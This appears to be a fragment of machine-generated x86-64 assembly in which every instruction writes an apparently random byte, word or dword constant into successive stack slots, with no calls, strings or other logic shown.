mov dword [rsp + 0x8ea8], 0x3f7b89b2
mov dword [rsp + 0x8eac], 0x105aaa0a
mov eax, 0x457
mov word [rsp + 0x277c], ax
mov dword [rsp + 0x8eb0], 0x1c96ea13
mov dword [rsp + 0x8eb4], 0x3332
mov eax, 0x1fd
mov word [rsp + 0x2780], ax
mov dword [rsp + 0x8eb8], 0x6c4c70ea
mov dword [rsp + 0x8ebc], 0x2cbf
mov dword [rsp + 0x8ec0], 0x6067632b
mov byte [rsp + 0x62a], 0xc9
mov dword [rsp + 0x8ec4], 0x6318445a
mov eax, 0x7e0
mov word [rsp + 0x2784], ax
mov byte [rsp + 0x62b], 0xc9
mov eax, 0xede
mov word [rsp + 0x2788], ax
mov dword [rsp + 0x8ec8], 0x913b230
mov eax, 0x6e3
mov word [rsp + 0x278c], ax
mov dword [rsp + 0x8ecc], 0x18a
mov dword [rsp + 0x8ed0], 0x6a1d3faa
mov dword [rsp + 0x8ed4], 0x4cf42920
mov dword [rsp + 0x8ed8], 0x39afd7db
mov byte [rsp + 0x62c], 4
mov dword [rsp + 0x8edc], 0x432a96b2
mov eax, 0xff7
mov word [rsp + 0x2790], ax
mov eax, 0x663
mov word [rsp + 0x2794], ax
mov dword [rsp + 0x8ee0], 0x5ea3c462
mov dword [rsp + 0x8ee4], 0xb21d
mov dword [rsp + 0x8ee8], 0x9120
mov dword [rsp + 0x8eec], 0x121fc7d5
mov eax, 0xcc
mov word [rsp + 0x2798], ax
mov dword [rsp + 0x8ef0], 0x34aa
mov eax, 0x151
mov word [rsp + 0x279c], ax
mov byte [rsp + 0x62d], 0x77
mov dword [rsp + 0x8ef4], 0x6767c3c4
mov byte [rsp + 0x62e], 2
mov dword [rsp + 0x8ef8], 0xe7ac
mov byte [rsp + 0x62f], 0x3c
mov byte [rsp + 0x630], 0x4b
mov byte [rsp + 0x631], 0xbf
mov eax, 0x36a
mov word [rsp + 0x27a0], ax
mov byte [rsp + 0x632], 0x2b
mov dword [rsp + 0x8efc], 0x3be7cb4d
mov dword [rsp + 0x8f00], 0x21034b1b
mov eax, 0x7b4
mov word [rsp + 0x27a4], ax
mov byte [rsp + 0x633], 0x2a
mov dword [rsp + 0x8f04], 0x61624b32
mov byte [rsp + 0x634], 0xbe
mov dword [rsp + 0x8f08], 0x35b7
mov byte [rsp + 0x635], 0xef
mov byte [rsp + 0x636], 0xa
mov dword [rsp + 0x8f0c], 0x2c5150f2
mov byte [rsp + 0x637], 0x88
mov dword [rsp + 0x8f10], 0x68f7d440
mov byte [rsp + 0x638], 0x9f
mov eax, 0x6c1
mov word [rsp + 0x27a8], ax
mov dword [rsp + 0x8f14], 0x57682e3c
mov byte [rsp + 0x639], 0x93
mov dword [rsp + 0x8f18], 0x738512be
mov byte [rsp + 0x63a], 0x20
mov eax, 0xbd1
mov word [rsp + 0x27ac], ax
mov byte [rsp + 0x63b], 0x21
mov eax, 0x89
mov word [rsp + 0x27b0], ax
mov eax, 0xc3b
mov word [rsp + 0x27b4], ax
mov eax, 0x4f2
mov word [rsp + 0x27b8], ax
mov eax, 0x3c6
mov word [rsp + 0x27bc], ax
mov dword [rsp + 0x8f1c], 0xe861
mov dword [rsp + 0x8f20], 0x39ce86f9
mov eax, 0xf1a
mov word [rsp + 0x27c0], ax
mov eax, 0xcf
mov word [rsp + 0x27c4], ax
mov dword [rsp + 0x8f24], 0x776a487f
mov byte [rsp + 0x63c], 0xf6
mov dword [rsp + 0x8f28], 0x148153a6
mov dword [rsp + 0x8f2c], 0x75d238a2
mov eax, 0x319
mov word [rsp + 0x27c8], ax
mov byte [rsp + 0x63d], 0x61
mov dword [rsp + 0x8f30], 0xba65
mov dword [rsp + 0x8f34], 0x9df9
mov dword [rsp + 0x8f38], 0x225de751
mov dword [rsp + 0x8f3c], 0x8f0c
mov dword [rsp + 0x8f40], 0x2018
mov dword [rsp + 0x8f44], 0x9f74
mov byte [rsp + 0x63e], 0xf2
mov dword [rsp + 0x8f48], 0x24a5c33
mov eax, 0xcc5
mov word [rsp + 0x27cc], ax
mov eax, 0xbef
mov word [rsp + 0x27d0], ax
mov byte [rsp + 0x63f], 0x2f
mov eax, 0x517
mov word [rsp + 0x27d4], ax
mov byte [rsp + 0x640], 0x16
mov dword [rsp + 0x8f4c], 0x7d39
mov dword [rsp + 0x8f50], 0x18df0649
mov dword [rsp + 0x8f54], 0x8316
mov dword [rsp + 0x8f58], 0x3791fe08
mov dword [rsp + 0x8f5c], 0x21a6fa91
mov byte [rsp + 0x641], 0x3c
mov eax, 0x64b
mov word [rsp + 0x27d8], ax
mov eax, 0xb6e
mov word [rsp + 0x27dc], ax
mov byte [rsp + 0x642], 0x1d
mov dword [rsp + 0x8f60], 0x56823b9b
mov byte [rsp + 0x643], 0x6c
mov byte [rsp + 0x644], 0xe4
mov dword [rsp + 0x8f64], 0x4397b009
mov dword [rsp + 0x8f68], 0x5bcdc013
mov dword [rsp + 0x8f6c], 0xaba31dd
mov eax, 0x1a
mov word [rsp + 0x27e0], ax
mov byte [rsp + 0x645], 0x77
mov dword [rsp + 0x8f70], 0x5453f944
mov dword [rsp + 0x8f74], 0x6d6f
mov byte [rsp + 0x646], 0x68
mov dword [rsp + 0x8f78], 0x368b
mov dword [rsp + 0x8f7c], 0x7ce5849c
mov dword [rsp + 0x8f80], 0x28cc15ff
mov dword [rsp + 0x8f84], 0x1cb3b29d
mov byte [rsp + 0x647], 0x50
mov eax, 0x4a5
mov word [rsp + 0x27e4], ax
mov eax, 0xbed
mov word [rsp + 0x27e8], ax
mov dword [rsp + 0x8f88], 0xd930
mov byte [rsp + 0x648], 0x63
mov eax, 0x54
mov word [rsp + 0x27ec], ax
mov dword [rsp + 0x8f8c], 0x1781aedf
mov byte [rsp + 0x649], 0x37
mov dword [rsp + 0x8f90], 0xec0a
mov eax, 0x4c3
mov word [rsp + 0x27f0], ax
mov dword [rsp + 0x8f94], 0x3aa2
mov dword [rsp + 0x8f98], 0x5e4a
mov dword [rsp + 0x8f9c], 0x5de1
mov eax, 0x57a
mov word [rsp + 0x27f4], ax
mov dword [rsp + 0x8fa0], 0x24bbe65d
mov dword [rsp + 0x8fa4], 0x64770642
mov byte [rsp + 0x64a], 0x7c
mov eax, 0x9db
mov word [rsp + 0x27f8], ax
mov dword [rsp + 0x8fa8], 0x8f81
mov dword [rsp + 0x8fac], 0x4d7bdc11
mov byte [rsp + 0x64b], 0xb2
mov eax, 0x889
mov word [rsp + 0x27fc], ax
mov dword [rsp + 0x8fb0], 0xad72
mov dword [rsp + 0x8fb4], 0xd49ed88
mov dword [rsp + 0x8fb8], 0x6fa6d86c
mov dword [rsp + 0x8fbc], 0x5796
mov dword [rsp + 0x8fc0], 0x86a5
mov dword [rsp + 0x8fc4], 0xb414
mov dword [rsp + 0x8fc8], 0x7b9c
mov dword [rsp + 0x8fcc], 0x43b6a61f
mov byte [rsp + 0x64c], 0x71
mov dword [rsp + 0x8fd0], 0x354fc630
mov dword [rsp + 0x8fd4], 0x42ebd29
mov byte [rsp + 0x64d], 2
mov eax, 0x21b
mov word [rsp + 0x2800], ax
mov eax, 0xc8f
mov word [rsp + 0x2804], ax
mov byte [rsp + 0x64e], 0x47
mov byte [rsp + 0x64f], 0xb3
mov byte [rsp + 0x650], 0x6d
mov dword [rsp + 0x8fd8], 0x1227b631
mov dword [rsp + 0x8fdc], 0x1c16
mov dword [rsp + 0x8fe0], 0x5b61dd69
mov dword [rsp + 0x8fe4], 0x3753
mov byte [rsp + 0x651], 0x51
mov dword [rsp + 0x8fe8], 0x755db34a
mov byte [rsp + 0x652], 0x88
mov dword [rsp + 0x8fec], 0x66e7dee5
mov eax, 0x2ee
mov word [rsp + 0x2808], ax
mov dword [rsp + 0x8ff0], 0x8499
mov eax, 0xff0
mov word [rsp + 0x280c], ax
mov eax, 0x2b7
mov word [rsp + 0x2810], ax
mov byte [rsp + 0x653], 0xac
mov dword [rsp + 0x8ff4], 0x188ea3e4
mov byte [rsp + 0x654], 0x47
mov dword [rsp + 0x8ff8], 0x522f4325
mov dword [rsp + 0x8ffc], 0x6cc86824
mov eax, 0x446
mov word [rsp + 0x2814], ax
mov dword [rsp + 0x9000], 0x3e52
mov dword [rsp + 0x9004], 0x306427a3
mov dword [rsp + 0x9008], 0x6875e13d
mov byte [rsp + 0x655], 0xcf
mov byte [rsp + 0x656], 0xcf
mov eax, 0x8bc
mov word [rsp + 0x2818], ax
mov eax, 0x3a7
mov word [rsp + 0x281c], ax
mov dword [rsp + 0x900c], 0xa142
mov eax, 0x76b
mov word [rsp + 0x2820], ax
mov dword [rsp + 0x9010], 0x4e2e
mov eax, 0xf65
mov word [rsp + 0x2824], ax
mov eax, 0x466
mov word [rsp + 0x2828], ax
mov dword [rsp + 0x9014], 0x360e59cb
mov dword [rsp + 0x9018], 0x47f26547
mov dword [rsp + 0x901c], 0xa09
mov eax, 0x497
mov word [rsp + 0x282c], ax
mov eax, 0x6cd
mov word [rsp + 0x2830], ax
mov dword [rsp + 0x9020], 0xfae3
mov byte [rsp + 0x657], 0x15
mov dword [rsp + 0x9024], 0x8d7
mov byte [rsp + 0x658], 0x95
mov dword [rsp + 0x9028], 0x5c0c
mov dword [rsp + 0x902c], 0x68d5
mov dword [rsp + 0x9030], 0x470c
mov eax, 0x995
mov word [rsp + 0x2834], ax
mov dword [rsp + 0x9034], 0x1ebe
mov eax, 0x9e
mov word [rsp + 0x2838], ax
mov dword [rsp + 0x9038], 0x611fe681
mov byte [rsp + 0x659], 0xbf
mov byte [rsp + 0x65a], 0x62
mov eax, 0x30b
mov word [rsp + 0x283c], ax
mov byte [rsp + 0x65b], 0xbb
mov dword [rsp + 0x903c], 0x62226424
mov byte [rsp + 0x65c], 0x3e
mov eax, 0x214
mov word [rsp + 0x2840], ax
mov dword [rsp + 0x9040], 0x211817b8
mov dword [rsp + 0x9044], 0x43e0a2f7
mov dword [rsp + 0x9048], 0x3d40
mov dword [rsp + 0x904c], 0x310a1074
mov byte [rsp + 0x65d], 0x42
mov dword [rsp + 0x9050], 0xf01
mov dword [rsp + 0x9054], 0x262b7fdf
mov byte [rsp + 0x65e], 0x90
mov eax, 0x8a5
mov word [rsp + 0x2844], ax
mov byte [rsp + 0x65f], 0xc2
mov eax, 0x868
mov word [rsp + 0x2848], ax
mov eax, 0x6b4
mov word [rsp + 0x284c], ax
mov dword [rsp + 0x9058], 0x1000d9ea
mov dword [rsp + 0x905c], 0x1245e1aa
mov byte [rsp + 0x660], 0x4b
mov dword [rsp + 0x9060], 0x7cd5d8a5
mov dword [rsp + 0x9064], 0x51dc
mov eax, 0xb06
mov word [rsp + 0x2850], ax
mov dword [rsp + 0x9068], 0x3ee9fa0d
mov dword [rsp + 0x906c], 0xad4bc44
mov dword [rsp + 0x9070], 0x7800350e
mov dword [rsp + 0x9074], 0x27e5
mov dword [rsp + 0x9078], 0x8e80
mov dword [rsp + 0x907c], 0x3b3bd2c7
mov eax, 0x6d9
mov word [rsp + 0x2854], ax
mov eax, 0x15e
mov word [rsp + 0x2858], ax
mov dword [rsp + 0x9080], 0x13affcb9
mov byte [rsp + 0x661], 0x24
mov dword [rsp + 0x9084], 0x7932
mov dword [rsp + 0x9088], 0x7f5d2ee3
mov eax, 0xa05
mov word [rsp + 0x285c], ax
mov byte [rsp + 0x662], 0xb9
mov dword [rsp + 0x908c], 0x2f1a
mov dword [rsp + 0x9090], 0x77d716a8
mov byte [rsp + 0x663], 0x28
mov dword [rsp + 0x9094], 0x752e35fc
mov byte [rsp + 0x664], 0x39
mov dword [rsp + 0x9098], 0x744b2adf
mov eax, 0x11b
mov word [rsp + 0x2860], ax
mov byte [rsp + 0x665], 0x95
mov eax, 0x68d
mov word [rsp + 0x2864], ax
mov dword [rsp + 0x909c], 0x7e5643b1
mov byte [rsp + 0x666], 0xf5
mov dword [rsp + 0x90a0], 0xd2a7
mov dword [rsp + 0x90a4], 0x10271fb4
mov dword [rsp + 0x90a8], 0x4f7aa1cf
mov dword [rsp + 0x90ac], 0xeb2a
mov dword [rsp + 0x90b0], 0x763c2b1e
mov dword [rsp + 0x90b4], 0x7fd553d5
mov dword [rsp + 0x90b8], 0x4091cd0d
mov dword [rsp + 0x90bc], 0xb27c
mov dword [rsp + 0x90c0], 0x8023
mov dword [rsp + 0x90c4], 0x3698
mov dword [rsp + 0x90c8], 0x242833fe
mov byte [rsp + 0x667], 0x3f
mov dword [rsp + 0x90cc], 0x7c75a3d5
mov dword [rsp + 0x90d0], 0x2f02
mov eax, 0x40c
mov word [rsp + 0x2868], ax
mov eax, 0x3f2
mov word [rsp + 0x286c], ax
mov dword [rsp + 0x90d4], 0x70ead206
mov byte [rsp + 0x668], 0x2e
mov byte [rsp + 0x669], 0x4c
mov byte [rsp + 0x66a], 0x10
mov dword [rsp + 0x90d8], 0x7a5a92a7
mov eax, 0x8c8
mov word [rsp + 0x2870], ax
mov byte [rsp + 0x66b], 0x26
mov byte [rsp + 0x66c], 0x29
mov dword [rsp + 0x90dc], 0xf5a8
mov dword [rsp + 0x90e0], 0x519a
mov byte [rsp + 0x66d], 0x30
mov dword [rsp + 0x90e4], 0x74a93596
mov dword [rsp + 0x90e8], 0x68ef37c2
mov dword [rsp + 0x90ec], 0xa515
mov byte [rsp + 0x66e], 0x79
mov dword [rsp + 0x90f0], 0x6d13dc8e
mov dword [rsp + 0x90f4], 0xc3ff
mov dword [rsp + 0x90f8], 0x39d986a4
mov dword [rsp + 0x90fc], 0x1325
mov dword [rsp + 0x9100], 0x50ee62b4
mov dword [rsp + 0x9104], 0xe6ae
mov eax, 0xe56
mov word [rsp + 0x2874], ax
mov eax, 0x5ec
mov word [rsp + 0x2878], ax
mov dword [rsp + 0x9108], 0x1585d79a
mov dword [rsp + 0x910c], 0x7179567b
mov dword [rsp + 0x9110], 0x39505b86
mov byte [rsp + 0x66f], 0x13
mov dword [rsp + 0x9114], 0x7400d001
mov dword [rsp + 0x9118], 0xb701
mov eax, 0x6bd
mov word [rsp + 0x287c], ax
mov byte [rsp + 0x670], 0x76
mov byte [rsp + 0x671], 0x8e
mov byte [rsp + 0x672], 0x32
mov dword [rsp + 0x911c], 0x2a12
mov dword [rsp + 0x9120], 0xcc9c
mov eax, 0x4c5
mov word [rsp + 0x2880], ax
mov eax, 0x79b
mov word [rsp + 0x2884], ax
mov dword [rsp + 0x9124], 0xb248a22
mov dword [rsp + 0x9128], 0x2ce3dc3e
mov dword [rsp + 0x912c], 0x25c2ceeb
mov byte [rsp + 0x673], 0x89
mov byte [rsp + 0x674], 0x26
mov dword [rsp + 0x9130], 0x2b0f
mov byte [rsp + 0x675], 0x58
mov byte [rsp + 0x676], 0x99
mov byte [rsp + 0x677], 0x52
mov dword [rsp + 0x9134], 0x26da
mov dword [rsp + 0x9138], 0x3e60fc47
mov dword [rsp + 0x913c], 0x26cb
mov eax, 0xe6a
mov word [rsp + 0x2888], ax
mov dword [rsp + 0x9140], 0x422c67a6
mov byte [rsp + 0x678], 0x15
mov byte [rsp + 0x679], 0x2c
mov byte [rsp + 0x67a], 0xf9
mov dword [rsp + 0x9144], 0x63211c9b
mov dword [rsp + 0x9148], 0xec82
mov dword [rsp + 0x914c], 0x269d78d2
mov dword [rsp + 0x9150], 0xf73febc
mov eax, 0xe94
mov word [rsp + 0x288c], ax
mov byte [rsp + 0x67b], 0xcf
mov eax, 0x4bb
mov word [rsp + 0x2890], ax
mov dword [rsp + 0x9154], 0xe05
mov dword [rsp + 0x9158], 0xce1b
mov eax, 0x8ad
mov word [rsp + 0x2894], ax
mov dword [rsp + 0x915c], 0x5fadf1c
mov dword [rsp + 0x9160], 0x115
mov dword [rsp + 0x9164], 0x456cb9a2
mov dword [rsp + 0x9168], 0xfb7a
mov eax, 0xe1a
mov word [rsp + 0x2898], ax
mov dword [rsp + 0x916c], 0x31ddcf83
mov byte [rsp + 0x67c], 0x39
mov dword [rsp + 0x9170], 0x2a492063
mov eax, 0xe7c
mov word [rsp + 0x289c], ax
mov dword [rsp + 0x9174], 0x584
mov eax, 0x50d
mov word [rsp + 0x28a0], ax
mov dword [rsp + 0x9178], 0x89dd
mov dword [rsp + 0x917c], 0x5d60ede4
mov byte [rsp + 0x67d], 0x34
mov dword [rsp + 0x9180], 0xdab9
mov dword [rsp + 0x9184], 0x38953bf1
mov dword [rsp + 0x9188], 0x338a9692
mov eax, 0xfa9
mov word [rsp + 0x28a4], ax
mov dword [rsp + 0x918c], 0x4c3972b9
mov dword [rsp + 0x9190], 0x78f283e0
mov dword [rsp + 0x9194], 0x252af5bc
mov dword [rsp + 0x9198], 0x1411e2db
mov byte [rsp + 0x67e], 0x14
mov dword [rsp + 0x919c], 0x44be1d67
mov dword [rsp + 0x91a0], 0xcc13
mov byte [rsp + 0x67f], 0xbf
mov dword [rsp + 0x91a4], 0x9e33
mov byte [rsp + 0x680], 0xee
mov dword [rsp + 0x91a8], 0x7d9ad46b
mov dword [rsp + 0x91ac], 0x6ab2e76c
mov dword [rsp + 0x91b0], 0x78521131
mov dword [rsp + 0x91b4], 0x2c7b
mov byte [rsp + 0x681], 0xe5
mov dword [rsp + 0x91b8], 0x58ac5c8
mov dword [rsp + 0x91bc], 0xbf86
mov dword [rsp + 0x91c0], 0x4785
mov byte [rsp + 0x682], 0x63
mov dword [rsp + 0x91c4], 0xcb3
mov dword [rsp + 0x91c8], 0x2c00262
mov dword [rsp + 0x91cc], 0x194a
mov eax, 0x2b6
mov word [rsp + 0x28a8], ax
mov eax, 0xbb1
mov word [rsp + 0x28ac], ax
mov byte [rsp + 0x683], 0x5f
mov dword [rsp + 0x91d0], 0x66841ca0
mov eax, 0x69e
mov word [rsp + 0x28b0], ax
mov dword [rsp + 0x91d4], 0x4fe95148
mov dword [rsp + 0x91d8], 0x1b6
mov eax, 0x452
mov word [rsp + 0x28b4], ax
mov byte [rsp + 0x684], 0x71
mov eax, 0x690
mov word [rsp + 0x28b8], ax
mov byte [rsp + 0x685], 0x2f
mov dword [rsp + 0x91dc], 0xcb2d
mov dword [rsp + 0x91e0], 0x426d5e74
mov dword [rsp + 0x91e4], 0xc748
mov dword [rsp + 0x91e8], 0x5d69b100
mov dword [rsp + 0x91ec], 0x461fde
mov dword [rsp + 0x91f0], 0xa1e7fe0
mov byte [rsp + 0x686], 0xd3
mov byte [rsp + 0x687], 0x6d
mov dword [rsp + 0x91f4], 0x43e8f126
mov byte [rsp + 0x688], 0x43
mov dword [rsp + 0x91f8], 0x9abd
mov eax, 0xe9f
mov word [rsp + 0x28bc], ax
mov dword [rsp + 0x91fc], 0xe487
mov dword [rsp + 0x9200], 0x4248
mov dword [rsp + 0x9204], 0xf847
mov dword [rsp + 0x9208], 0x875
mov dword [rsp + 0x920c], 0xe891
mov eax, 0xd66
mov word [rsp + 0x28c0], ax
mov dword [rsp + 0x9210], 0xa205
mov dword [rsp + 0x9214], 0x4802e072
mov byte [rsp + 0x689], 0x1b
mov byte [rsp + 0x68a], 0x2d
mov dword [rsp + 0x9218], 0x622e7e59
mov dword [rsp + 0x921c], 0x1d02bf42
mov dword [rsp + 0x9220], 0xe5ec
mov byte [rsp + 0x68b], 0xaf
mov byte [rsp + 0x68c], 0x59
mov dword [rsp + 0x9224], 0x3585d5cc
mov byte [rsp + 0x68d], 0xd9
mov eax, 0x557
mov word [rsp + 0x28c4], ax
mov dword [rsp + 0x9228], 0x3f9abac8
mov eax, 0xd7a
mov word [rsp + 0x28c8], ax
mov dword [rsp + 0x922c], 0xa90f
mov byte [rsp + 0x68e], 0xc9
mov dword [rsp + 0x9230], 0xff6b
mov eax, 0x34f
mov word [rsp + 0x28cc], ax
mov dword [rsp + 0x9234], 0x6360dfeb
mov dword [rsp + 0x9238], 0x6a26
mov eax, 0xd85
mov word [rsp + 0x28d0], ax
mov dword [rsp + 0x923c], 0x57b8f1b8
mov dword [rsp + 0x9240], 0x2d56ae5c
mov byte [rsp + 0x68f], 0x7a
mov byte [rsp + 0x690], 0x5f
mov dword [rsp + 0x9244], 0x5d3e
mov byte [rsp + 0x691], 0x4b
mov dword [rsp + 0x9248], 0x495f
mov dword [rsp + 0x924c], 0x731d4667
mov dword [rsp + 0x9250], 0x4fc6732c
mov eax, 0x415
mov word [rsp + 0x28d4], ax
mov dword [rsp + 0x9254], 0x3134
mov eax, 0x29f
mov word [rsp + 0x28d8], ax
mov dword [rsp + 0x9258], 0x222ed517
mov eax, 0x591
mov word [rsp + 0x28dc], ax
mov eax, 0x9cc
mov word [rsp + 0x28e0], ax
mov byte [rsp + 0x692], 0x28
mov dword [rsp + 0x925c], 0x398cef23
mov byte [rsp + 0x693], 0x61
mov byte [rsp + 0x694], 0x17
mov eax, 0xfed
mov word [rsp + 0x28e4], ax
mov byte [rsp + 0x695], 0x67
mov eax, 0x545
mov word [rsp + 0x28e8], ax
mov dword [rsp + 0x9260], 0x31907454
mov dword [rsp + 0x9264], 0x2ba96fa0
mov dword [rsp + 0x9268], 0x6333
mov dword [rsp + 0x926c], 0x9dee
mov dword [rsp + 0x9270], 0x478d4318
mov eax, 0x1b3
mov word [rsp + 0x28ec], ax
mov dword [rsp + 0x9274], 0x7f5c
mov dword [rsp + 0x9278], 0x5d54a3bb
mov dword [rsp + 0x927c], 0x5cd5606e
mov dword [rsp + 0x9280], 0x1ba93c0f
mov dword [rsp + 0x9284], 0x9098
mov eax, 0x12f
mov word [rsp + 0x28f0], ax
mov byte [rsp + 0x696], 0x2e
mov dword [rsp + 0x9288], 0x7202df98
mov dword [rsp + 0x928c], 0xca70
mov dword [rsp + 0x9290], 0x2c142d4d
mov dword [rsp + 0x9294], 0x5bda711b
mov dword [rsp + 0x9298], 0x49b5fb70
mov eax, 0x842
mov word [rsp + 0x28f4], ax
mov dword [rsp + 0x929c], 0x34f47c1a
mov eax, 0xc1d
mov word [rsp + 0x28f8], ax
mov eax, 0xb2d
mov word [rsp + 0x28fc], ax
mov eax, 0x5f0
mov word [rsp + 0x2900], ax
mov eax, 0x895
mov word [rsp + 0x2904], ax
mov byte [rsp + 0x697], 0xb6
mov dword [rsp + 0x92a0], 0x2358
mov eax, 0xe4a
mov word [rsp + 0x2908], ax
mov dword [rsp + 0x92a4], 0x4849441a
mov byte [rsp + 0x698], 0xea
mov dword [rsp + 0x92a8], 0x631bb69f
mov byte [rsp + 0x699], 0x2d
mov dword [rsp + 0x92ac], 0xbb3c
mov byte [rsp + 0x69a], 0x92
mov dword [rsp + 0x92b0], 0x4dd7fd4d
mov dword [rsp + 0x92b4], 0x532d8b75
mov eax, 0x255
mov word [rsp + 0x290c], ax
mov dword [rsp + 0x92b8], 0x2429
mov byte [rsp + 0x69b], 0x4e
mov dword [rsp + 0x92bc], 0x33d7
mov dword [rsp + 0x92c0], 0xc67a
mov byte [rsp + 0x69c], 0x10
mov eax, 0xcc1
mov word [rsp + 0x2910], ax
mov eax, 0x6e4
mov word [rsp + 0x2914], ax
mov dword [rsp + 0x92c4], 0x38071c81
mov eax, 0xcf0
mov word [rsp + 0x2918], ax
mov byte [rsp + 0x69d], 0xd2
mov dword [rsp + 0x92c8], 0x7b558130
mov eax, 0x2cf
mov word [rsp + 0x291c], ax
mov eax, 0xb19
mov word [rsp + 0x2920], ax
mov eax, 0x1a4
mov word [rsp + 0x2924], ax
mov dword [rsp + 0x92cc], 0x3743d40c
mov dword [rsp + 0x92d0], 0xfd37
mov byte [rsp + 0x69e], 0x27
mov dword [rsp + 0x92d4], 0x3834ec9c
mov eax, 0xf87
mov word [rsp + 0x2928], ax
mov dword [rsp + 0x92d8], 0x7bcd08c4
mov eax, 0x457
mov word [rsp + 0x292c], ax
mov dword [rsp + 0x92dc], 0x41cf
mov dword [rsp + 0x92e0], 0x2cc17bc2
mov byte [rsp + 0x69f], 0x51
mov dword [rsp + 0x92e4], 0x25b9
mov eax, 0x4e2
mov word [rsp + 0x2930], ax
mov dword [rsp + 0x92e8], 0x46cb528e
mov byte [rsp + 0x6a0], 0x57
mov byte [rsp + 0x6a1], 0x6c
mov dword [rsp + 0x92ec], 0xf333
mov byte [rsp + 0x6a2], 0x41
mov dword [rsp + 0x92f0], 0xa10217a
mov eax, 0x3ff
mov word [rsp + 0x2934], ax
mov byte [rsp + 0x6a3], 0x14
mov byte [rsp + 0x6a4], 0x33
mov dword [rsp + 0x92f4], 0x2a15bd35
mov byte [rsp + 0x6a5], 0x41
mov eax, 0x48e
mov word [rsp + 0x2938], ax
mov dword [rsp + 0x92f8], 0x2107
mov dword [rsp + 0x92fc], 0x55c3
mov dword [rsp + 0x9300], 0xfde6
mov dword [rsp + 0x9304], 0x9416
mov byte [rsp + 0x6a6], 0x7d
mov byte [rsp + 0x6a7], 0xc3
mov dword [rsp + 0x9308], 0xfc71
mov dword [rsp + 0x930c], 0x296896a0
mov dword [rsp + 0x9310], 0x3fa7
mov eax, 0x332
mov word [rsp + 0x293c], ax
mov byte [rsp + 0x6a8], 0x5c
mov byte [rsp + 0x6a9], 0x20
mov dword [rsp + 0x9314], 0x101a3a65
mov dword [rsp + 0x9318], 0x3d13
mov byte [rsp + 0x6aa], 0x3f
mov eax, 0xc5b
mov word [rsp + 0x2940], ax
mov dword [rsp + 0x931c], 0x79577f09
mov dword [rsp + 0x9320], 0x4913
mov eax, 0x753
mov word [rsp + 0x2944], ax
mov dword [rsp + 0x9324], 0x4981
mov eax, 0x16f
mov word [rsp + 0x2948], ax
mov eax, 0x240
mov word [rsp + 0x294c], ax
mov dword [rsp + 0x9328], 0x608abe0d
mov byte [rsp + 0x6ab], 0xe
mov dword [rsp + 0x932c], 0x3ce82b35
mov dword [rsp + 0x9330], 0x4cab3fc8
mov dword [rsp + 0x9334], 0x7845
mov dword [rsp + 0x9338], 0xcccb
mov eax, 0xee3
mov word [rsp + 0x2950], ax
mov eax, 0x263
mov word [rsp + 0x2954], ax
mov dword [rsp + 0x933c], 0x3eb6344
mov byte [rsp + 0x6ac], 0x66
mov eax, 0x4e0
mov word [rsp + 0x2958], ax
mov dword [rsp + 0x9340], 0xd1a9
mov dword [rsp + 0x9344], 0x7798e8eb
mov byte [rsp + 0x6ad], 0x32
mov dword [rsp + 0x9348], 0xab7d
mov dword [rsp + 0x934c], 0x6c67
mov byte [rsp + 0x6ae], 0x55
mov byte [rsp + 0x6af], 0x68
mov eax, 0x2f7
mov word [rsp + 0x295c], ax
mov dword [rsp + 0x9350], 0x72c3365
mov eax, 0xa35
mov word [rsp + 0x2960], ax
mov dword [rsp + 0x9354], 0x4196
mov dword [rsp + 0x9358], 0x7c549f8d
mov byte [rsp + 0x6b0], 0xbe
mov dword [rsp + 0x935c], 0x62de
mov byte [rsp + 0x6b1], 0x36
mov eax, 0x2ef
mov word [rsp + 0x2964], ax
mov dword [rsp + 0x9360], 0xbb32b76
mov byte [rsp + 0x6b2], 0x2e
mov eax, 0x2eb
mov word [rsp + 0x2968], ax
mov dword [rsp + 0x9364], 0x50bf326f
mov byte [rsp + 0x6b3], 0x97
mov dword [rsp + 0x9368], 0x4cc28676
mov dword [rsp + 0x936c], 0x42b2a135
mov dword [rsp + 0x9370], 0x21c497ff
mov eax, 0x526
mov word [rsp + 0x296c], ax
mov eax, 0xd15
mov word [rsp + 0x2970], ax
mov dword [rsp + 0x9374], 0x713d3fe8
mov eax, 0x250
mov word [rsp + 0x2974], ax
mov dword [rsp + 0x9378], 0xae16
mov dword [rsp + 0x937c], 0x144fe4d8
mov dword [rsp + 0x9380], 0x6efa45a9
mov dword [rsp + 0x9384], 0xa020
mov eax, 0xa21
mov word [rsp + 0x2978], ax
mov dword [rsp + 0x9388], 0x1184
mov byte [rsp + 0x6b4], 0x25
mov dword [rsp + 0x938c], 0x4dea02d6
mov dword [rsp + 0x9390], 0xf8c4
mov dword [rsp + 0x9394], 0x5ced8855
mov eax, 0x632
mov word [rsp + 0x297c], ax
mov dword [rsp + 0x9398], 0x1824
mov dword [rsp + 0x939c], 0x799929a6
mov dword [rsp + 0x93a0], 0x7d0d6e6c
mov eax, 0x484
mov word [rsp + 0x2980], ax
mov dword [rsp + 0x93a4], 0xb000
mov dword [rsp + 0x93a8], 0x7a09a12e
mov dword [rsp + 0x93ac], 0x7af5
mov dword [rsp + 0x93b0], 0xc052
mov dword [rsp + 0x93b4], 0xfb78
mov dword [rsp + 0x93b8], 0xfe6f
mov byte [rsp + 0x6b5], 0xba
mov dword [rsp + 0x93bc], 0x17e49101
mov dword [rsp + 0x93c0], 0x8c62
mov byte [rsp + 0x6b6], 0x7c
mov dword [rsp + 0x93c4], 0x1fb9
mov eax, 0xf93
mov word [rsp + 0x2984], ax
mov eax, 0x407
mov word [rsp + 0x2988], ax
mov byte [rsp + 0x6b7], 0x78
mov dword [rsp + 0x93c8], 0x34f861af
mov eax, 0x714
mov word [rsp + 0x298c], ax
mov dword [rsp + 0x93cc], 0x2928
mov eax, 0xc39
mov word [rsp + 0x2990], ax
mov eax, 0xa14
mov word [rsp + 0x2994], ax
mov eax, 0xc87
mov word [rsp + 0x2998], ax
mov dword [rsp + 0x93d0], 0x595da6ba
mov byte [rsp + 0x6b8], 0x7a
mov dword [rsp + 0x93d4], 0x6b628ce9
mov dword [rsp + 0x93d8], 0x6891af3f
mov dword [rsp + 0x93dc], 0x2e81a418
mov byte [rsp + 0x6b9], 0x4c
mov dword [rsp + 0x93e0], 0x5f1c9e10
mov eax, 0xe0a
mov word [rsp + 0x299c], ax
mov dword [rsp + 0x93e4], 0x5b545c3b
mov dword [rsp + 0x93e8], 0x4da53007
mov dword [rsp + 0x93ec], 0x3e45
mov dword [rsp + 0x93f0], 0x77d83023
mov dword [rsp + 0x93f4], 0x4ad3
mov dword [rsp + 0x93f8], 0x1b60
mov dword [rsp + 0x93fc], 0xc6fe
